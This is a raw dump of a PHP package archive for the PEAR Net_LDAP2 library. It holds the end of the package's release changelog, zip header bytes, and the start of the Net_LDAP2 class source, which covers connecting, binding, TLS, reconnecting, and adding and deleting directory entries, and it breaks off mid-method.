* New method Entry-&gt;isNew()
* Net_LDAP2-&gt;search() and Net_LDAP2-&gt;dnExists() can handle entry objects now
* Added &quot;present&quot; matching rule as stated by RFC 2254 (is an alias of the former &quot;any&quot;)
* Bugfix in filter class for approx matching and not combination
* Bugfix for Schema-&gt;isBinary() bug if unknown attribute type is requested
   </notes>
  </release>
  <release>
   <date>2008-10-16</date>
   <version>
    <release>2.0.0RC4</release>
    <api>2.0.0RC4</api>
   </version>
   <stability>
    <release>beta</release>
    <api>beta</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Net_LDAP2_Filter::create*() methods are declared static now
* Net_LDAP2 is able to reconnect now in case link is down during operation (thanks Del)
* Complex updates fail: under some circumstances, $entry-&gt;update() will fail. This is
caused by mandatory attributes set and the internal behaviour of Net_LDAP2. A
workaround is documented in the code and in the user manual.
* Bugfixes in Dels patches. Soemtimes there where endless loops and deleting entries
did not always succeed.
* Bugfix to reset unicodePwd (Active Directory): a new $force parameter was introduced to Net_LDAP2_Entry-&gt;replace()
that forces &quot;replace&quot; mode. If not set and attribute is empty (or could not be read like in the AD case)
replace() resulted in Net_LDAP2 thinking it should add the attribute. This can now be overriden.
* Bugfix in unit tests: the Net_LDAP2Test suite had huge memory consumtion caused by a little error in
Net_LDAP2-&gt;checkLDAPExtension(). If that method is called before any Net_LDAP class was instanciated, a PEAR
error is returned instead of the documented Net_LDAP2_Error which causes the unit test to plot out very much
debug information.
   </notes>
  </release>
  <release>
   <date>2009-01-09</date>
   <version>
    <release>2.0.0RC5</release>
    <api>2.0.0RC5</api>
   </version>
   <stability>
    <release>beta</release>
    <api>beta</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Fixed a little issue with repetive adding the same attribute value
* Fixed Bug #14886 that caused problems with OpenLDAP and V3 only connects
* Fixed Bug #14903 and #15494, now bind attempt is also encrypted if TLS is requested
* Fixed issue with repetitve adding or deleting values causing Net_LDAP to send the same change multiple times
* Fixed Bug #15364 that caused a problem with setting the ldap version if only one version is supported by server
   </notes>
  </release>
  <release>
   <date>2009-05-08</date>
   <version>
    <release>2.0.0RC6</release>
    <api>2.0.0RC6</api>
   </version>
   <stability>
    <release>beta</release>
    <api>beta</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Bugfix in LDIF writer concerning needless base64 encoding of values
* New schema caching facility
* PHPCS fixes, some comment changes and general code cleanup
   </notes>
  </release>
  <release>
   <date>2009-05-28</date>
   <version>
    <release>2.0.0</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Fixed bug #16242 (arguments for createFresh in wrong order when calling Net_LDAP2_Entry::createFresh())
* Fixed bug #16253 (strict checking of isError())
   </notes>
  </release>
  <release>
   <date>2009-06-15</date>
   <version>
    <release>2.0.1</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Fixed Bugs #16272 and #16278 (Problem in starttls function)
   </notes>
  </release>
  <release>
   <date>2009-06-29</date>
   <version>
    <release>2.0.2</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Fixed some bugs that rendered the new schema caching facility unusable
   </notes>
  </release>
  <release>
   <date>2009-07-03</date>
   <version>
    <release>2.0.3</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Fixed LDAP RFC-1777 violation: bind has to be performed prior setting LDAP version
* Fixed wrong version reported from version()
   </notes>
  </release>
  <release>
   <date>2009-07-08</date>
   <version>
    <release>2.0.4</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Fixed Bug #16404 (Bind fails at OpenLDAP with protocol error)
   </notes>
  </release>
  <release>
   <date>2009-07-14</date>
   <version>
    <release>2.0.5</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license>LGPL License</license>
   <notes>
* Fixed bug #16438 (SimplefileSchemaCache could not be configured due to wrong var name)
   </notes>
  </release>
  <release>
   <date>2009-08-04</date>
   <version>
    <release>2.0.6</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license>LGPLv3 License</license>
   <notes>
* switched LICENSE to LGPL v3
* added some documentation
   </notes>
  </release>
  <release>
   <date>2009-10-28</date>
   <version>
    <release>2.0.7</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license>LGPLv3 License</license>
   <notes>
* Corrected bug #16738 (Problem with Net_LDAP2_Filter::parse() with complex filter, when first subfilter was an combined filter too)
   </notes>
  </release>
  <release>
   <version>
    <release>2.0.8</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <date>2010-02-12</date>
   <license>LGPLv3 License</license>
   <notes>
* Fixed Bug #16940 (Net_LDAP2::startTLS should ignore errors before ldap_start_tls() being called)
* Fixed Bug #17023 (improper handling of wrapped lines in LDIF files)
   </notes>
  </release>
  <release>
   <date>2010-02-16</date>
   <version>
    <release>2.0.8</release>
    <api>2.0.0</api>
   </version>
   <stability>
    <release>stable</release>
    <api>stable</api>
   </stability>
   <license>LGPLv3 License</license>
   <notes>
* Fixed Bug #16940 (Net_LDAP2::startTLS should ignore errors before ldap_start_tls() being called)
* Fixed Bug #17023 (improper handling of wrapped lines in LDIF files)
* Fixed Bug #17057 (problem with parsing certain NOT-Filters)
   </notes>
  </release>
  <release>
    <date>2010-02-16</date>
    <version>
        <release>2.0.9</release>
        <api>2.0.0</api>
    </version>
    <stability>
        <release>stable</release>
        <api>stable</api>
    </stability>
    <license>LGPLv3 License</license>
    <notes>
        * fixed package (package.xml was unclean so 2.0.8 wouldnt install)
    </notes>
  </release>
  <release>
    <date>2010-08-23</date>
      <version>
          <release>2.0.10</release>
          <api>2.0.0</api>
      </version>
      <stability>
          <release>stable</release>
          <api>stable</api>
      </stability>
      <license>LGPLv3 License</license>
      <notes>
* Added schema handling methods to make schema checks more easily accessible
* Bugfix for #17245. The check in the code was not working properly. Schema checking is considered the users responsibility.
  If now an attribute is requested that is not set at the entry, an empty string is returned.
* Bugfix for #17770. Some Net_LDAP2 files were included with relative path ("Util.php"), not absolute ("Net/LDAP2/Util.php").
* Bugfix for #17314. LDIF support for attributes with modifiers ("attr1;binary").
      </notes>
  </release>
  <release>
    <date>2011-01-19</date>
    <version>
        <release>2.0.11</release>
        <api>2.0.0</api>
    </version>
    <stability>
        <release>stable</release>
        <api>stable</api>
    </stability>
    <license>LGPLv3 License</license>
    <notes>
* (doc issue) Fix for #17861: Missing komma in example
* Fix for #18202: Adding attributes to a Fresh Entry saving and laterly updating fails
    </notes>
  </release>
  <release>
    <date>2011-10-27</date>
    <version>
        <release>2.0.12</release>
        <api>2.0.0</api>
    </version>
    <stability>
        <release>stable</release>
        <api>stable</api>
    </stability>
    <license>LGPLv3 License</license>
    <notes>
        * inmproved performance with large search results
        * Fixed some minor issues with Net_LDAP2_Filter and Net_LDAP2->dnExists()
        * Added NOT filter to Net_LDAP2_Filter::create() so negating is more easily now
    </notes>
  </release>
  <release>
    <date>2013-12-09</date>
    <version>
        <release>2.1.0</release>
        <api>2.0.0</api>
    </version>
    <stability>
        <release>stable</release>
        <api>stable</api>
    </stability>
    <license>LGPLv3 License</license>
    <notes>
        * New feature: Filter::matches() can do simple filtering on entry sets (supported: equals, contain, begin, end, any; NOT, AND, OR. Filtering is simple based on regexp, no schema checks and matchRules yet!)
        * Fixed minor bugs in Filter, LDAP and Entry class
        * Util::split_attribute_string(): Added support for extended match operators from filters
        * Util::split_attribute_string(): Added support for delimeter retrieval
    </notes>
  </release>

  <release>
    <date>2015-10-30</date>
    <version>
        <release>2.2.0</release>
        <api>2.2.0</api>
    </version>
    <stability>
        <release>stable</release>
        <api>stable</api>
    </stability>
    <license>LGPLv3 License</license>
    <notes>
     * Fix bug #20969: Fatal error with PEAR 1.10.0 / constructor visiblity
     * Add support for PHP 7
     * Improve unit tests
    </notes>
  </release>
  <release>
      <date>2015-10-30</date>
    <version>
        <release>2.2.0</release>
        <api>2.2.0</api>
    </version>
    <stability>
        <release>stable</release>
        <api>stable</api>
    </stability>
    <license>LGPLv3 License</license>
    <notes>
     * Fix bug #20969: Fatal error with PEAR 1.10.0 / constructor visiblity
     * Add support for PHP 7
     * Improve unit tests
    </notes>
  </release>

  <release>
    <date>2023-02-23</date>
    <version>
        <release>2.2.1</release>
        <api>2.2.0</api>
    </version>
    <stability>
        <release>stable</release>
        <api>stable</api>
    </stability>
    <license>LGPLv3 License</license>
    <notes>
     * Fix: remove unused $ber property
    </notes>
  </release>

 </changelog>
</package>
PK
h�\���=\\#vendor/pear/net_ldap2/Net/LDAP2.phpnu�[���<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
/**
* File containing the Net_LDAP2 interface class.
*
* PHP version 5
*
* @category  Net
* @package   Net_LDAP2
* @author    Tarjej Huse <tarjei@bergfald.no>
* @author    Jan Wagner <wagner@netsols.de>
* @author    Del <del@babel.com.au>
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2003-2007 Tarjej Huse, Jan Wagner, Del Elson, Benedikt Hallinger
* @license   http://www.gnu.org/licenses/lgpl-3.0.txt LGPLv3
* @version   SVN: $Id$
* @link      http://pear.php.net/package/Net_LDAP2/
*/

/**
* Package includes.
*/
require_once 'PEAR.php';
require_once 'Net/LDAP2/RootDSE.php';
require_once 'Net/LDAP2/Schema.php';
require_once 'Net/LDAP2/Entry.php';
require_once 'Net/LDAP2/Search.php';
require_once 'Net/LDAP2/Util.php';
require_once 'Net/LDAP2/Filter.php';
require_once 'Net/LDAP2/LDIF.php';
require_once 'Net/LDAP2/SchemaCache.interface.php';
require_once 'Net/LDAP2/SimpleFileSchemaCache.php';

/**
*  Error constants for errors that are not LDAP errors.
*/
define('NET_LDAP2_ERROR', 1000);

/**
* Net_LDAP2 Version
*/
define('NET_LDAP2_VERSION', '2.1.0');

/**
* Net_LDAP2 - manipulate LDAP servers the right way!
*
* @category  Net
* @package   Net_LDAP2
* @author    Tarjej Huse <tarjei@bergfald.no>
* @author    Jan Wagner <wagner@netsols.de>
* @author    Del <del@babel.com.au>
* @author    Benedikt Hallinger <beni@php.net>
* @copyright 2003-2007 Tarjej Huse, Jan Wagner, Del Elson, Benedikt Hallinger
* @license   http://www.gnu.org/copyleft/lesser.html LGPL
* @link      http://pear.php.net/package/Net_LDAP2/
*/
class Net_LDAP2 extends PEAR
{
    /**
    * Class configuration array
    *
    * host     = the ldap host to connect to
    *            (may be an array of several hosts to try)
    * port     = the server port
    * version  = ldap version (defaults to v 3)
    * starttls = when set, ldap_start_tls() is run after connecting.
    * bindpw   = no explanation needed
    * binddn   = the DN to bind as.
    * basedn   = ldap base
    * options  = hash of ldap options to set (opt => val)
    * filter   = default search filter
    * scope    = default search scope
    *
    * Newly added in 2.0.0RC4, for auto-reconnect:
    * auto_reconnect  = if set to true then the class will automatically
    *                   attempt to reconnect to the LDAP server in certain
    *                   failure conditionswhen attempting a search, or other
    *                   LDAP operation.  Defaults to false.  Note that if you
    *                   set this to true, calls to search() may block
    *                   indefinitely if there is a catastrophic server failure.
    * min_backoff     = minimum reconnection delay period (in seconds).
    * current_backoff = initial reconnection delay period (in seconds).
    * max_backoff     = maximum reconnection delay period (in seconds).
    *
    * @access protected
    * @var array
    */
    protected $_config = array('host'            => 'localhost',
                               'port'            => 389,
                               'version'         => 3,
                               'starttls'        => false,
                               'binddn'          => '',
                               'bindpw'          => '',
                               'basedn'          => '',
                               'options'         => array(),
                               'filter'          => '(objectClass=*)',
                               'scope'           => 'sub',
                               'auto_reconnect'  => false,
                               'min_backoff'     => 1,
                               'current_backoff' => 1,
                               'max_backoff'     => 32);

    /**
    * List of hosts we try to establish a connection to
    *
    * @access protected
    * @var array
    */
    protected $_host_list = array();

    /**
    * List of hosts that are known to be down.
    *
    * @access protected
    * @var array
    */
    protected $_down_host_list = array();

    /**
    * LDAP resource link.
    *
    * @access protected
    * @var resource
    */
    protected $_link = false;

    /**
    * Net_LDAP2_Schema object
    *
    * This gets set and returned by {@link schema()}
    *
    * @access protected
    * @var object Net_LDAP2_Schema
    */
    protected $_schema = null;

    /**
    * Schema cacher function callback
    *
    * @see registerSchemaCache()
    * @var string
    */
    protected $_schema_cache = null;

    /**
    * Cache for attribute encoding checks
    *
    * @access protected
    * @var array Hash with attribute names as key and boolean value
    *            to determine whether they should be utf8 encoded or not.
    */
    protected $_schemaAttrs = array();

    /**
    * Cache for rootDSE objects
    *
    * Hash with requested rootDSE attr names as key and rootDSE object as value
    *
    * Since the RootDSE object itself may request a rootDSE object,
    * {@link rootDse()} caches successful requests.
    * Internally, Net_LDAP2 needs several lookups to this object, so
    * caching increases performance significally.
    *
    * @access protected
    * @var array
    */
    protected $_rootDSE_cache = array();

    /**
    * Returns the Net_LDAP2 Release version, may be called statically
    *
    * @static
    * @return string Net_LDAP2 version
    */
    public static function getVersion()
    {
        return NET_LDAP2_VERSION;
    }

    /**
    * Configure Net_LDAP2, connect and bind
    *
    * Use this method as starting point of using Net_LDAP2
    * to establish a connection to your LDAP server.
    *
    * Static function that returns either an error object or the new Net_LDAP2
    * object. Something like a factory. Takes a config array with the needed
    * parameters.
    *
    * @param array $config Configuration array
    *
    * @access public
    * @return Net_LDAP2_Error|Net_LDAP2   Net_LDAP2_Error or Net_LDAP2 object
    */
    public static function connect($config = array())
    {
        $ldap_check = self::checkLDAPExtension();
        if (self::iserror($ldap_check)) {
            return $ldap_check;
        }

        @$obj = new Net_LDAP2($config);

        // todo? better errorhandling for setConfig()?

        // connect and bind with credentials in config
        $err = $obj->bind();
        if (self::isError($err)) {
            return $err;
        }

        return $obj;
    }

    /**
    * Net_LDAP2 constructor
    *
    * Sets the config array
    *
    * Please note that the usual way of getting Net_LDAP2 to work is
    * to call something like:
    * <code>$ldap = Net_LDAP2::connect($ldap_config);</code>
    *
    * @param array $config Configuration array
    *
    * @access protected
    * @return void
    * @see $_config
    */
    public function __construct($config = array())
    {
        parent::__construct('Net_LDAP2_Error');
        $this->setConfig($config);
    }

    /**
    * Sets the internal configuration array
    *
    * @param array $config Configuration array
    *
    * @access protected
    * @return void
    */
    protected function setConfig($config)
    {
        //
        // Parameter check -- probably should raise an error here if config
        // is not an array.
        //
        if (! is_array($config)) {
            return;
        }

        foreach ($config as $k => $v) {
            if (isset($this->_config[$k])) {
                $this->_config[$k] = $v;
            } else {
                // map old (Net_LDAP2) parms to new ones
                switch($k) {
                case "dn":
                    $this->_config["binddn"] = $v;
                    break;
                case "password":
                    $this->_config["bindpw"] = $v;
                    break;
                case "tls":
                    $this->_config["starttls"] = $v;
                    break;
                case "base":
                    $this->_config["basedn"] = $v;
                    break;
                }
            }
        }

        //
        // Ensure the host list is an array.
        //
        if (is_array($this->_config['host'])) {
            $this->_host_list = $this->_config['host'];
        } else {
            if (strlen($this->_config['host']) > 0) {
                $this->_host_list = array($this->_config['host']);
            } else {
                $this->_host_list = array();
                // ^ this will cause an error in performConnect(),
                // so the user is notified about the failure
            }
        }

        //
        // Reset the down host list, which seems like a sensible thing to do
        // if the config is being reset for some reason.
        //
        $this->_down_host_list = array();
    }

    /**
    * Bind or rebind to the ldap-server
    *
    * This function binds with the given dn and password to the server. In case
    * no connection has been made yet, it will be started and startTLS issued
    * if appropiate.
    *
    * The internal bind configuration is not being updated, so if you call
    * bind() without parameters, you can rebind with the credentials
    * provided at first connecting to the server.
    *
    * @param string $dn       Distinguished name for binding
    * @param string $password Password for binding
    *
    * @access public
    * @return Net_LDAP2_Error|true    Net_LDAP2_Error object or true
    */
    public function bind($dn = null, $password = null)
    {
        // fetch current bind credentials
        if (is_null($dn)) {
            $dn = $this->_config["binddn"];
        }
        if (is_null($password)) {
            $password = $this->_config["bindpw"];
        }

        // Connect first, if we haven't so far.
        // This will also bind us to the server.
        if ($this->_link === false) {
            // store old credentials so we can revert them later
            // then overwrite config with new bind credentials
            $olddn = $this->_config["binddn"];
            $oldpw = $this->_config["bindpw"];

            // overwrite bind credentials in config
            // so performConnect() knows about them
            $this->_config["binddn"] = $dn;
            $this->_config["bindpw"] = $password;

            // try to connect with provided credentials
            $msg = $this->performConnect();

            // reset to previous config
            $this->_config["binddn"] = $olddn;
            $this->_config["bindpw"] = $oldpw;

            // see if bind worked
            if (self::isError($msg)) {
                return $msg;
            }
        } else {
            // do the requested bind as we are
            // asked to bind manually
            if (is_null($dn)) {
                // anonymous bind
                $msg = @ldap_bind($this->_link);
            } else {
                // privileged bind
                $msg = @ldap_bind($this->_link, $dn, $password);
            }
            if (false === $msg) {
                return PEAR::raiseError("Bind failed: " .
                                        @ldap_error($this->_link),
                                        @ldap_errno($this->_link));
            }
        }
        return true;
    }

    /**
    * Connect to the ldap-server
    *
    * This function connects to the LDAP server specified in
    * the configuration, binds and set up the LDAP protocol as needed.
    *
    * @access protected
    * @return Net_LDAP2_Error|true    Net_LDAP2_Error object or true
    */
    protected function performConnect()
    {
        // Note: Connecting is briefly described in RFC1777.
        // Basicly it works like this:
        //  1. set up TCP connection
        //  2. secure that connection if neccessary
        //  3a. setLDAPVersion to tell server which version we want to speak
        //  3b. perform bind
        //  3c. setLDAPVersion to tell server which version we want to speak
        //      together with a test for supported versions
        //  4. set additional protocol options

        // Return true if we are already connected.
        if ($this->_link !== false) {
            return true;
        }

        // Connnect to the LDAP server if we are not connected.  Note that
        // with some LDAP clients, ldapperformConnect returns a link value even
        // if no connection is made.  We need to do at least one anonymous
        // bind to ensure that a connection is actually valid.
        //
        // Ref: http://www.php.net/manual/en/function.ldap-connect.php

        // Default error message in case all connection attempts
        // fail but no message is set
        $current_error = new PEAR_Error('Unknown connection error');

        // Catch empty $_host_list arrays.
        if (!is_array($this->_host_list) || count($this->_host_list) == 0) {
            $current_error = PEAR::raiseError('No Servers configured! Please '.
               'pass in an array of servers to Net_LDAP2');
            return $current_error;
        }

        // Cycle through the host list.
        foreach ($this->_host_list as $host) {

            // Ensure we have a valid string for host name
            if (is_array($host)) {
                $current_error = PEAR::raiseError('No Servers configured! '.
                   'Please pass in an one dimensional array of servers to '.
                   'Net_LDAP2! (multidimensional array detected!)');
                continue;
            }

            // Skip this host if it is known to be down.
            if (in_array($host, $this->_down_host_list)) {
                continue;
            }

            // Record the host that we are actually connecting to in case
            // we need it later.
            $this->_config['host'] = $host;

            // Attempt a connection.
            $this->_link = @ldap_connect($host, $this->_config['port']);
            if (false === $this->_link) {
                $current_error = PEAR::raiseError('Could not connect to ' .
                    $host . ':' . $this->_config['port']);
                $this->_down_host_list[] = $host;
                continue;
            }

            // If we're supposed to use TLS, do so before we try to bind,
            // as some strict servers only allow binding via secure connections
            if ($this->_config["starttls"] === true) {
                if (self::isError($msg = $this->startTLS())) {
                    $current_error           = $msg;
                    $this->_link             = false;
                    $this->_down_host_list[] = $host;
                    continue;
                }
            }

            // Try to set the configured LDAP version on the connection if LDAP
            // server needs that before binding (eg OpenLDAP).
            // This could be necessary since rfc-1777 states that the protocol version
            // has to be set at the bind request.
            // We use force here which means that the test in the rootDSE is skipped;
            // this is neccessary, because some strict LDAP servers only allow to
            // read the LDAP rootDSE (which tells us the supported protocol versions)
            // with authenticated clients.
            // This may fail in which case we try again after binding.
            // In this case, most probably the bind() or setLDAPVersion()-call
            // below will also fail, providing error messages.
            $version_set = false;
            $ignored_err = $this->setLDAPVersion(0, true);
            if (!self::isError($ignored_err)) {
                $version_set = true;
            }

            // Attempt to bind to the server. If we have credentials configured,
            // we try to use them, otherwise its an anonymous bind.
            // As stated by RFC-1777, the bind request should be the first
            // operation to be performed after the connection is established.
            // This may give an protocol error if the server does not support
            // V2 binds and the above call to setLDAPVersion() failed.
            // In case the above call failed, we try an V2 bind here and set the
            // version afterwards (with checking to the rootDSE).
            $msg = $this->bind();
            if (self::isError($msg)) {
                // The bind failed, discard link and save error msg.
                // Then record the host as down and try next one
                if ($msg->getCode() == 0x02 && !$version_set) {
                    // provide a finer grained error message
                    // if protocol error arieses because of invalid version
                    $msg = new Net_LDAP2_Error($msg->getMessage().
                        " (could not set LDAP protocol version to ".
                        $this->_config['version'].")",
                        $msg->getCode());
                }
                $this->_link             = false;
                $current_error           = $msg;
                $this->_down_host_list[] = $host;
                continue;
            }

            // Set desired LDAP version if not successfully set before.
            // Here, a check against the rootDSE is performed, so we get a
            // error message if the server does not support the version.
            // The rootDSE entry should tell us which LDAP versions are
            // supported. However, some strict LDAP servers only allow
            // bound suers to read the rootDSE.
            if (!$version_set) {
                if (self::isError($msg = $this->setLDAPVersion())) {
                    $current_error           = $msg;
                    $this->_link             = false;
                    $this->_down_host_list[] = $host;
                    continue;
                }
            }

            // Set LDAP parameters, now we know we have a valid connection.
            if (isset($this->_config['options']) &&
                is_array($this->_config['options']) &&
                count($this->_config['options'])) {
                foreach ($this->_config['options'] as $opt => $val) {
                    $err = $this->setOption($opt, $val);
                    if (self::isError($err)) {
                        $current_error           = $err;
                        $this->_link             = false;
                        $this->_down_host_list[] = $host;
                        continue 2;
                    }
                }
            }

            // At this stage we have connected, bound, and set up options,
            // so we have a known good LDAP server.  Time to go home.
            return true;
        }


        // All connection attempts have failed, return the last error.
        return $current_error;
    }

    /**
    * Reconnect to the ldap-server.
    *
    * In case the connection to the LDAP
    * service has dropped out for some reason, this function will reconnect,
    * and re-bind if a bind has been attempted in the past.  It is probably
    * most useful when the server list provided to the new() or connect()
    * function is an array rather than a single host name, because in that
    * case it will be able to connect to a failover or secondary server in
    * case the primary server goes down.
    *
    * This doesn't return anything, it just tries to re-establish
    * the current connection.  It will sleep for the current backoff
    * period (seconds) before attempting the connect, and if the
    * connection fails it will double the backoff period, but not
    * try again.  If you want to ensure a reconnection during a
    * transient period of server downtime then you need to call this
    * function in a loop.
    *
    * @access protected
    * @return Net_LDAP2_Error|true    Net_LDAP2_Error object or true
    */
    protected function performReconnect()
    {

        // Return true if we are already connected.
        if ($this->_link !== false) {
            return true;
        }

        // Default error message in case all connection attempts
        // fail but no message is set
        $current_error = new PEAR_Error('Unknown connection error');

        // Sleep for a backoff period in seconds.
        sleep($this->_config['current_backoff']);

        // Retry all available connections.
        $this->_down_host_list = array();
        $msg = $this->performConnect();

        // Bail out if that fails.
        if (self::isError($msg)) {
            $this->_config['current_backoff'] =
               $this->_config['current_backoff'] * 2;
            if ($this->_config['current_backoff'] > $this->_config['max_backoff']) {
                $this->_config['current_backoff'] = $this->_config['max_backoff'];
            }
            return $msg;
        }

        // Now we should be able to safely (re-)bind.
        $msg = $this->bind();
        if (self::isError($msg)) {
            $this->_config['current_backoff'] = $this->_config['current_backoff'] * 2;
            if ($this->_config['current_backoff'] > $this->_config['max_backoff']) {
                $this->_config['current_backoff'] = $this->_config['max_backoff'];
            }

            // _config['host'] should have had the last connected host stored in it
            // by performConnect().  Since we are unable to bind to that host we can safely
            // assume that it is down or has some other problem.
            $this->_down_host_list[] = $this->_config['host'];
            return $msg;
        }

        // At this stage we have connected, bound, and set up options,
        // so we have a known good LDAP server. Time to go home.
        $this->_config['current_backoff'] = $this->_config['min_backoff'];
        return true;
    }

    /**
    * Starts an encrypted session
    *
    * @access public
    * @return Net_LDAP2_Error|true    Net_LDAP2_Error object or true
    */
    public function startTLS()
    {
        /* Test to see if the server supports TLS first.
           This is done via testing the extensions offered by the server.
           The OID 1.3.6.1.4.1.1466.20037 tells us, if TLS is supported.
           Note, that not all servers allow to feth either the rootDSE or
           attributes over an unencrypted channel, so we must ignore errors. */
        $rootDSE = $this->rootDse();
        if (self::isError($rootDSE)) {
            /* IGNORE this error, because server may refuse fetching the
               RootDSE over an unencrypted connection. */
            //return $this->raiseError("Unable to fetch rootDSE entry ".
            //"to see if TLS is supoported: ".$rootDSE->getMessage(), $rootDSE->getCode());
        } else {
            /* Fetch suceeded, see, if the server supports TLS. Again, we
               ignore errors, because the server may refuse to return
               attributes over unencryted connections. */
            $supported_extensions = $rootDSE->getValue('supportedExtension');
            if (self::isError($supported_extensions)) {
                /* IGNORE error, because server may refuse attribute
                   returning over an unencrypted connection. */
                //return $this->raiseError("Unable to fetch rootDSE attribute 'supportedExtension' ".
                //"to see if TLS is supoported: ".$supported_extensions->getMessage(), $supported_extensions->getCode());
            } else {
                // fetch succeedet, lets see if the server supports it.
                // if not, then drop an error. If supported, then do nothing,
                // because then we try to issue TLS afterwards.
                if (!in_array('1.3.6.1.4.1.1466.20037', $supported_extensions)) {
                    return $this->raiseError("Server reports that it does not support TLS.");
                 }
            }
        }

        // Try to establish TLS.
        if (false === @ldap_start_tls($this->_link)) {
            // Starting TLS failed. This may be an error, or because
            // the server does not support it but did not enable us to
            // detect that above.
            return $this->raiseError("TLS could not be started: " .
                                    @ldap_error($this->_link),
                                    @ldap_errno($this->_link));
        } else {
            return true; // TLS is started now.
        }
    }

    /**
    * alias function of startTLS() for perl-ldap interface
    *
    * @return void
    * @see startTLS()
    */
    public function start_tls()
    {
        $args = func_get_args();
        return call_user_func_array(array( $this, 'startTLS' ), $args);
    }

    /**
    * Close LDAP connection.
    *
    * Closes the connection. Use this when the session is over.
    *
    * @return void
    */
    public function done()
    {
        $this->_Net_LDAP2();
    }

    /**
    * Alias for {@link done()}
    *
    * @return void
    * @see done()
    */
    public function disconnect()
    {
        $this->done();
    }

    /**
    * Destructor
    *
    * @access protected
    */
    public function _Net_LDAP2()
    {
        @ldap_close($this->_link);
    }

    /**
    * Add a new entryobject to a directory.
    *
    * Use add to add a new Net_LDAP2_Entry object to the directory.
    * This also links the entry to the connection used for the add,
    * if it was a fresh entry ({@link Net_LDAP2_Entry::createFresh()})
    *
    * @param Net_LDAP2_Entry $entry Net_LDAP2_Entry
    *
    * @return Net_LDAP2_Error|true    Net_LDAP2_Error object or true
    */
    public function add($entry)
    {
        if (!$entry instanceof Net_LDAP2_Entry) {
            return PEAR::raiseError('Parameter to Net_LDAP2::add() must be a Net_LDAP2_Entry object.');
        }

        // Continue attempting the add operation in a loop until we
        // get a success, a definitive failure, or the world ends.
        $foo = 0;
        while (true) {
            $link = $this->getLink();

            if ($link === false) {
                // We do not have a successful connection yet.  The call to
                // getLink() would have kept trying if we wanted one.  Go
                // home now.
                return PEAR::raiseError("Could not add entry " . $entry->dn() .
                       " no valid LDAP connection could be found.");
            }

            if (@ldap_add($link, $entry->dn(), $entry->getValues())) {
                // entry successfully added, we should update its $ldap reference
                // in case it is not set so far (fresh entry)
                if (!$entry->getLDAP() instanceof Net_LDAP2) {
                    $entry->setLDAP($this);
                }
                // store, that the entry is present inside the directory
                $entry->markAsNew(false);
                return true;
            } else {
                // We have a failure.  What type?  We may be able to reconnect
                // and try again.
                $error_code = @ldap_errno($link);
                $error_name = Net_LDAP2::errorMessage($error_code);

                if (($error_name === 'LDAP_OPERATIONS_ERROR') &&
                    ($this->_config['auto_reconnect'])) {

                    // The server has become disconnected before trying the
                    // operation.  We should try again, possibly with a different
                    // server.
                    $this->_link = false;
                    $this->performReconnect();
                } else {
                    // Errors other than the above catched are just passed
                    // back to the user so he may react upon them.
                    return PEAR::raiseError("Could not add entry " . $entry->dn() . " " .
                                            $error_name,
                                            $error_code);
                }
            }
        }
    }

    /**
    * Delete an entry from the directory
    *
    * The object may either be a string representing the dn or a Net_LDAP2_Entry
    * object. When the boolean paramter recursive is set, all subentries of the
    * entry will be deleted as well.
    *
    * @param string|Net_LDAP2_Entry $dn        DN-string or Net_LDAP2_Entry
    * @param boolean                $recursive Should we delete all children recursive as well?
    *
    * @access public
    * @return Net_LDAP2_Error|true    Net_LDAP2_Error object or true
    */
    public function delete($dn, $recursive = false)
    {
        if ($dn instanceof Net_LDAP2_Entry) {
             $dn = $dn->dn();
        }
        if (false === is_string($dn)) {
            return PEAR::raiseError("Parameter is not a string nor an entry object!");
        }
        // Recursive delete searches for children and calls delete for them
        if ($recursive) {
            $result = @ldap_list($this->_link, $dn, '(objectClass=*)', array(null), 0, 0);
            if (@ldap_count_entries($this->_link, $result)) {
                $subentry = @ldap_first_entry($this->_link, $result);
                $this->delete(@ldap_get_dn($this->_link, $subentry), true);
                while ($subentry = @ldap_next_entry($this->_link, $subentry)) {
                    $this->delete(@ldap_get_dn($this->_link, $subentry), true);
                }
            }
        }

        // Continue attempting the delete operation in a loop until we
        // get a success, a definitive failure, or the world ends.
        while (true) {
            $link = $this->getLink();

            if ($link === false) {
                // We do not have a successful connection yet.  The call to
                // getLink() would have kept trying if we wanted one.  Go
                // home now.
                return PEAR::raiseError("Could not add entry " . $dn .
                       " no valid LDAP connection could be found.");
            }

            if (@ldap_delete($link, $dn)) {
                // entry successfully deleted.
                return true;
            } else {
                // We have a failure.  What type?
                // We may be able to reconnect and try again.
                $error_code = @ldap_errno($link);
                $error_name = Net_LDAP2::errorMessage($error_code);

                if ((Net_LDAP2::errorMessage($error_code) === 'LDAP_OPERATIONS_ERROR') &&
                    ($this->_config['auto_reconnect'])) {
                    // The server has become disconnected before trying the
                    // operation.  We should try again, possibly with a
                    // different server.
                    $this->_link = false;
                    $this->performReconnect();

                } elseif ($error_code == 66) {
                    // Subentries present, server refused to delete.
                    // Deleting subentries is the clients responsibility, but
                    // since the user may not know of the subentries, we do not
                    // force that here but instead notify the developer so he
                    // may take actions himself.
                    return PEAR::raiseError("Could not delete entry $dn because of subentries. Use the recursive parameter to delete them.");

                } else {
                    // Errors other than the above catched are just passed
                    // back to the user so he may react upon them.
